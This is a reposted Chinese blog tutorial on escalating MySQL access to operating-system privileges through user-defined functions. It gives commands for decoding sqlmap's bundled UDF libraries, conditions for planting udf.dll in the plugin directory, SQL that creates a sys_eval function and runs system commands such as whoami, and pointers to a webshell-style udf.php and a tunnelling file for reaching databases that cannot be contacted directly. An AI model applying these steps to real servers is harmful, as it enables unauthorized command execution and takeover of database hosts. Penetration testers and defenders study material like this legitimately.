首页 > 数据库技术 > 详细

Mysql提权(二)---UDF提权

时间:2021-07-04 00:42:38      阅读:43      评论:0      收藏:0      [点我收藏+]

零、参考链接

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-10

一、原理

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用
利用MYSQL的自定义函数功能将Mysql账号转换为system权限

二、UDF动态链接库的位置

sqlmap根目录/data/udf/mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下

# 解码 32 位的 Linux 动态链接库
? python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
? python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
? python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
? python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

具体dll的下载链接,可在参考链接中找到

三、UDF提权的条件

1、如果Mysql版本大于5.1,udf.dll放到Mysql安装目录的lib\plugin文件夹下
2、如果Mysql版本小于5.1,在Windows 2003下放于c:\windows\system32目录,在Win2000下,放入C:\winnt\system32目录
3、有Mysql的insert和delete权限,以创建和抛弃函数。一般以root账号为最佳。select * from mysql.user where user=‘test‘
4、拥有可以将udf.dll写入相应目录的权限

四、写入相应的dll过后,执行如下语句

CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll‘;
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
select * from mysql.func;
select sys_eval(‘whoami‘)
删除自定义函数
drop function sys_eval;

五、如果不能直接连接目标Mysql

1、可以使用:udf.php
https://github.com/echohun/tools/blob/master/大马/udf.php
2、也可以使用Navicat MySQL的隧道功能
传入ntunnel_mysql.php文件,然后使用工具连接即可

Mysql提权(二)---UDF提权

原文:https://www.cnblogs.com/sakura521/p/14967725.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!